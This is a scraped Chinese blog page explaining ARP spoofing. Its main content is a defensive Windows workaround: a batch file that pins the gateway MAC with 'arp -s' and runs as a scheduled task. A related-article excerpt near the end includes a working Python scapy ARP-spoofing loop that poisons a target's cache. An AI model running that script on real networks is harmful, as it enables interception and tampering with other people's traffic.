物理服务器临时修改Mac,服务器临时解决ARP欺骗攻击方法(示例代码)

最新推荐文章于 2024-11-22 13:46:13 发布
转载 最新推荐文章于 2024-11-22 13:46:13 发布 · 1.1k 阅读 · 0
文章标签：

#物理服务器临时修改Mac

本文详细介绍了如何通过创建批处理文件并设置计划任务来临时解决服务器遭受ARP欺骗攻击的问题。当服务器受到攻击时，攻击者会伪装成网关，导致数据被篡改。通过执行arp.bat文件，可以定时更新正确的网关MAC地址，从而在5分钟后自动恢复正常。这是一个简单有效的应急措施。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

简介这篇文章主要介绍了服务器临时解决ARP欺骗攻击方法(示例代码)以及相关的经验技巧，文章约5315字，浏览量219，点赞数3，值得参考！

ARP欺骗的最简单解释：

正常的状态：

你的服务器 --> 网关 --> 经过很多线路后 --> 到达网站访问者电脑

受攻击的状态：

恶意者去攻击网关，把自己的服务器伪装成网关，让你的服务器把他的服务器认为是网关并连接。然后，任意在你传输的数据(网页)中嵌入任意的代码再输送到网站访问者的电脑。

唯一你能查到不同的就是所连接的mac地址是伪装网关的网卡MAC地址，所以很容易判断。可以用这个mac地址去找网络管理员进行查询，但是因为多种原因，有可能机房网管并没办法给你处理。

开始-->运行： arp -a

可查询到网关IP及对应MAC地址，正常会输出类似以下内容：

接口: 192.168.0.129 --- 0xb

Internet 地址         物理地址              类型

192.168.0.1           00-23-89-e6-31-c3     动态

192.168.0.2           80-f6-2e-ca-c1-1e     动态

192.168.0.5           f4-ec-38-77-7e-13     动态

192.168.0.101         b8-88-e3-e0-24-1c     动态

192.168.0.102         b8-88-e3-f9-c7-d9     动态

192.168.0.115         b8-88-e3-f7-4f-c3     动态

192.168.0.116         00-30-67-c1-ca-e2     动态

192.168.0.119         00-30-18-a3-a6-a1     动态

192.168.0.120         00-24-1d-8a-9c-b6     动态

192.168.0.123         00-30-18-a5-0b-8f     动态

192.168.0.125         00-24-1d-bf-83-6b     动态

192.168.0.137         00-e0-6f-22-9e-70     动态

192.168.0.147         00-30-18-a5-0b-3d     动态

192.168.0.156         6c-f0-49-ae-83-8a     动态

192.168.0.164         e0-cb-4e-53-da-d6     动态

192.168.0.172         00-e0-4c-37-9b-9a     动态

192.168.0.174         00-30-18-a4-72-f8     动态

192.168.0.184         00-30-18-a5-0b-3e     动态

192.168.0.189         00-0c-29-df-79-1f     动态

192.168.0.190         cc-34-29-32-a7-63     动态

192.168.0.234         58-66-ba-f5-6d-49     动态

192.168.0.255         ff-ff-ff-ff-ff-ff     静态

224.0.0.2             01-00-5e-00-00-02     静态

224.0.0.19            01-00-5e-00-00-13     静态

224.0.0.22            01-00-5e-00-00-16     静态

224.0.0.252           01-00-5e-00-00-fc     静态

224.1.1.1             01-00-5e-01-01-01     静态

239.1.1.1             01-00-5e-01-01-01     静态

239.1.1.10            01-00-5e-01-01-0a     静态

239.5.5.5             01-00-5e-05-05-05     静态

239.10.2.1            01-00-5e-0a-02-01     静态

239.255.255.250       01-00-5e-7f-ff-fa     静态

临时解决方法：

1，建一个文件名为 arp.bat 的文件

2，文件内容为以下代码：

@echo off

arp -s 192.168.0.1 00-23-89-e6-31-c3

说明：arp -s 网关IP 网关MAC地址

网关的IP看你网卡属性就能看到了。

而且网关的MAC地址，在你服务器未受攻击的状态下用arp -a 输出的就是了。

3，设置计划任务，定时执行这个 arp.bat ，时间可以自己把握，例如5分钟自动执行一次。

这只是个临时的解决方法，你并不是时时刻刻在服务器前面，就算你被人ARP攻击，5分钟后也会自动恢复正常。

转自江苏三艾网络

css101路由密码,192.168.0.101登陆官网登录入口
weixin_31063029的博客
08-03 1万+
192.168.0.101 IP地址说明192.168.0.101是路由器的专有地址；如果你想通过192.168.0.101访问路由器的管理页面请输入192.168.0.101到Web浏览器的地址栏或点击下面的链接。另外，192.168.0.101也可能是你电脑或手机获取到的一个私有IP；如果192.168.0.101不能打开路由器界面，你应该尝试输入：192.168.0.1；这是因为通常把IP后...
ARP欺骗技术：DNS欺骗与HTTP重定向_（13）.ARP欺骗与DNS欺骗结合攻击
chenlz2007的博客
11-14 772
ARP协议用于将IP地址解析为物理（MAC）地址。在网络中，每个设备都有一个唯一的MAC地址，而IP地址则是用于网络层通信的地址。当一个设备需要与另一个设备通信时，它会发送一个ARP请求，询问目标IP地址对应的MAC地址。目标设备收到请求后，会发送一个ARP响应，告知自己的MAC地址。DNS（Domain Name System）协议用于将域名解析为IP地址。当用户访问一个网站时，浏览器会向DNS服务器发送查询请求，DNS服务器会返回相应的IP地址。ettercap。
局域网内如何防止ARP欺骗
weixin_33720452的博客
10-22 182
对于ARP欺骗，提出几点加强安全防范的措施。环境是主机或者网关是基于Linux/BSD的。一、理论前提本着“不冤枉好人，不放过一个坏人的原则”，先说说我的一些想法和理论依据。首先，大家肯定发送ARP欺骗包肯定是一个恶毒的程序自动发送的，正常的TCP/IP网络是不会有这样的错误包发送的(板砖扔了过来啊，废话！)。这就假设，如果犯罪嫌疑人没有启动这个破坏程序的时候，网络...
修改mac地址和ip地址突破内网限制
N1_WanGuFengYue的博客
02-16 2461
1、使用管理员运行cmd 2、输入ipconfig/all 找到自己的ip地址和mac地址 3、netsh i i show in Idx Met MTU 状态 名称 --- ---------- ---------- ------------ --------------------------- 1 75 4294967295 connected Loopback Pseudo-I...
HCIA—免费ARP（豁免ARP）（讲解 + 验证）
qq_62311779的博客
10-18 988
用途：用于地址冲突检测 什么时候发：（ip或者MAC）地址变更/接口重启/接口获取地址（手动/DHCP）
配置MAC刷新ARP功能
weixin_45490798的博客
10-18 1438
配置MAC刷新ARP功能
ARP欺骗技术：DNS欺骗与HTTP重定向_（14）.ARP欺骗与HTTP重定向结合攻击
chenlz2007的博客
11-14 909
HTTP（Hypertext Transfer Protocol）超文本传输协议，是互联网上应用最为广泛的一种网络协议。HTTP协议定义了客户端（通常是浏览器）和服务器之间的通信规则。当客户端请求一个资源时，服务器会返回一个HTTP响应，其中包含请求的资源或错误信息。ARP欺骗与HTTP重定向结合攻击是一种常见的网络攻击手段，通过ARP欺骗使局域网内的主机将数据发送到攻击者的MAC地址，然后通过截获和修改HTTP请求，将客户端重定向到恶意网站。
ARP欺骗挂马称雄局域网
03-27
- **ARP欺骗的工作原理**：ARP协议用于解决同一局域网内的IP地址与物理地址（MAC地址）之间的映射问题。攻击者通过发送虚假的ARP响应包，使被攻击方错误地将攻击者的MAC地址与网关的IP地址关联起来，从而实现了中间...
arp.rar_arp_arp c程序_arp协议C语言
09-23
标题中的"arp.rar_arp_arp c程序_arp协议C语言"表明这是一个关于ARP协议的C语言编程资源，其中可能包含源代码、解释和示例。ARP，即地址解析协议（Address Resolution Protocol），是网络层协议，用于在局域网（LAN...
MAC地址欺骗（MAC Address Spoofing）
qq_40844444的博客
11-22 2608
请注意，以上代码仅为示例，实际使用时需要根据具体的操作系统和网络环境进行调整。通常，网络交换机和路由器使用MAC地址来建立和更新其MAC地址表，从而正确地转发数据包。通过改变MAC地址，攻击者可以欺骗网络设备，使其认为数据来自另一个设备。MAC地址欺骗是一种网络攻击技术，攻击者通过改变网络设备的媒体访问控制（MAC）地址来伪装成另一个设备或隐藏其真实身份。以下是C语言代码示例，用于在Linux系统上实现MAC地址欺骗。持久MAC地址欺骗通常涉及修改系统配置文件，以下是一个示例，它将MAC地址更改保存在。
通过路由给电脑或手机分配静态固定IP
fish74531的博客
04-19 7597
动态的IP在一些特写场合使用起来非常不方便，比如像远程管理计算机，因此我们需要路由器分配一个静态IP，不管什么时候连接，都是相同的IP，就像排除一样的VIP一样，不管你是第一个来，还是最后一个，你永远都可以排在第一。那么要实现这样的效果，我们可以通过对路由器这样的设置来达到目的。
Linux系统下网络环境的配置(一)--IP&DHCP
weixin_46138661的博客
02-18 1300
文章目录IP实验一、关于ip的命令实验二、永久更改主机的ip(文件方式) IP 1、IP使用的协议名称：tcp/ip 2、协议版本：IPv4 3、ip地址：由32位二进制组成（网络位+主即位） 例如：11111111.11111111.11111111.11111111=255.255.255.255 4、子网掩码：网络位全为1，主机位全为0 5、什么样的两个ip可以直接通信： 网络位相同，主机位...
解决windows 您没有权限访问\\192.168.1.X（局域网） 请与网络管理员联系请求访问权限
热门推荐
一个懒鬼的博客
03-19 16万+
解决windows 您没有权限访问\\192.168.1.X（局域网） 请与网络管理员联系请求访问权限 今天哥们发来一张图，就是下图，说无法访问局域网内的数据了，这个问题咋处理，那就重头说这个事儿，先写一篇这个问题，正好本博客内还木有； 出现这个问题，就是因为没有权限，这个就要处理一下，没啥特殊的要求，就直接开启guest账户，具体看流程；下图就是错误图哈 第一步：电脑-右键属性； 电脑右键管理 第二步：选择本地用户合组-用户--选择右边的guest； 本地用户和组 第三步：.
ubuntu的init与系统服务设置
lpp1989的专栏
08-14 933
init Init是位于/sbin/init的一个程序，它是在linux下，在系统启动过程中，初始化所有的设备驱动程序和数据结构等之后，由内核启动的一个用户级程序，并由此init程序进而完成系统的启动过程。 ubuntu与传统的linux略有不同，使用upstart完成系统的启动，但表面上仍维持init程序的形式。 运行级别 传统上，linux有几种不同的运行级别，包括如下几种： # 0
家用路由器网段互通的问题
xinluke的专栏
05-20 8218
有两个路由器A,B。 A为主路由，采用PPPOP拨号连接Internet，连接PC1，PC2两台电脑。 B路由为副路由，采用动态IP(或者是静态IP),连接A的LAN口，连接PC3，PC4两台电脑。 两个路由器都开启DHCP服务，并且两个都属于不同的网段。 如 路由 IP段 网关IP A 192.168.0.X 192.168.0.1 B 192.168.1.X
RLException:Unable to contact my own server at
qq_18428145的博客
05-12 2360
问题： RLException:Unable to contact my own server at [http://192.168.0.101:42985/].This usually means that the network is not configured properly. A common cause is that the machine cannot ping itself. Please check for errors by running : ping 192.168.0.101
路由器设置上网【不求人】
loveheronly的专栏
10-27 6980
1.在浏览器里面输入192.068.0.1【或者192.168.1.1】链接路由器 2.打开路由器的管理菜单 3.点“网络参数”、“LAN口设置” IP地址：192.168.0.1 子网掩码：255.255.225.0 4.点“WAN口设置” WAN口连接类型：PPPoE 输入“上网账号”和“上网口令”.下面选中“自动连接，在开机和断线后自动进行连接” 4.点“DHCP服务器”
Java调用C#webService接口
qq_35300439的博客
10-11 3289
转载：https://blog.csdn.net/hu_zhiting/article/details/78755104 https://max.book118.com/html/2018/1228/7030144004001200.shtm java调用C#webService接口，主要有三种方式：1.HttpClient 2.HttpURLConnection 3.插件生成客户端代码 生成客户...
前端网络基础-网络层IP协议和路由协议
CSDN
12-21 1090
上一节中，我们知道两台主机如果想要通信，则主机A必须要知道主机B的ip地址和mac地址，如果不知道，则主机A会广播一条arp协议请求给同一子网下的所有主机。 那么什么叫同一子网下呢？ 我们知道主机A的ip地址是 192.168.0.118 主机B的ip地址是 192.168.0.101 那么它们属于同一子网吗？ 首先我们需要知道IP地址的组成： 在类别上，ip地址分为 ipv4 和 ipv6 ，我们这里只讨论ipv4。 在形式上，ipv4地址分为四部分，各部分...
arp攻击原理
最新发布
03-25
### ARP攻击的详细原理及实现机制 ARP（Address Resolution Protocol）协议用于将IP地址解析为对应的物理地址（MAC地址）。然而，由于ARP本身缺乏安全性验证机制，容易受到ARP欺骗攻击的影响。 #### 攻击原理 ARP攻击的核心在于通过伪造ARP请求或响应报文来误导目标设备的信任关系。具体来说，在局域网环境中，攻击者可以冒充合法设备向受害者的计算机发送虚假的ARP应答消息[^3]。一旦受害者接收并信任这些错误的信息，则会将其路由表中的真实映射替换掉，进而导致通信失败或者敏感数据泄露等问题的发生。 例如，当一台名为PC2 的机器试图阻止另一台叫作 PC1 的电脑连接外部网络时，它可能会持续不断地向该区域内的所有节点广播含有假 MAC 地址的数据包；这样一来，每当路由器准备把某些特定类型的流量转发至预期的目的地——即原本应该属于PC1 的位置上时 ，实际上却被引导到了由黑客控制下的另一个地方去了 。最终结果就是使得整个链路层以上的交互过程完全瘫痪下来 [^4]. #### 实现机制 以下是两种常见的ARP攻击形式及其技术细节： ##### 1. **普通ARP欺骗** 在这种情况下，攻击者通常会选择成为中间人角色(man-in-the-middle)，以便拦截两方之间的通讯内容。他们可以通过不断发出伪装成不同主机身份(比如服务器端口或是客户端工作站)所制造出来的动态更新通知单给对方知道：“嘿!我现在才是你要找的那个家伙哦~” 这样一来, 不仅可以让双方都误以为自己正在跟真正的伙伴交谈着什么秘密话题 , 同时也允许坏蛋们随意篡改传输过程中经过他们的任何东西啦 ! 代码示例展示如何构造一个简单的arp spoofing脚本 (Python版本): ```python import os from scapy.all import * def enable_ip_forwarding(): """启用 IP 转发功能.""" with open("/proc/sys/net/ipv4/ip_forward", 'w') as file: file.write('1\n') def get_mac(ip_address): """获取指定 IP 对应的 MAC 地址""" resp, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_address), timeout=2, retry=10) for snt, rcv in resp: return rcv[Ether].src return None target_ip = "192.168.1.5" gateway_ip = "192.168.1.1" enable_ip_forwarding() target_mac = get_mac(target_ip) while True: try: send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)) time.sleep(2) except KeyboardInterrupt: break ``` 上述程序展示了基本的操作流程：先开启系统的IP转发选项以支持后续可能涉及的数据流重定向操作;接着定义辅助函数用来查询目的主机的实际硬件标识符(MAC);最后进入无限循环模式下周期性的发送伪造好的回应帧直到手动停止为止. ##### 2. **免费ARP滥用** 另一种方式叫做"Free ARP"(无费用型地址解析协议). 它是指某个人故意定期发布关于他自己不存在但实际上却存在争议性的声明 - 尤其是在共享同一子网内部成员之间相互竞争有限资源的情况下特别有用 . 比如说某个用户想要霸占DHCP池子里最好的那个IPv4数值作为自己的永久使用权的话就可以利用这种方法来进行干扰竞争对手获得分配的机会 . 这种行为虽然表面上看不出来有什么明显的破坏作用但是长时间累积起来还是会对整体性能产生负面影响因为每次遇到重复冲突事件都需要额外耗费时间去解决而不是立即成功建立新的关联链接关系. ###
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值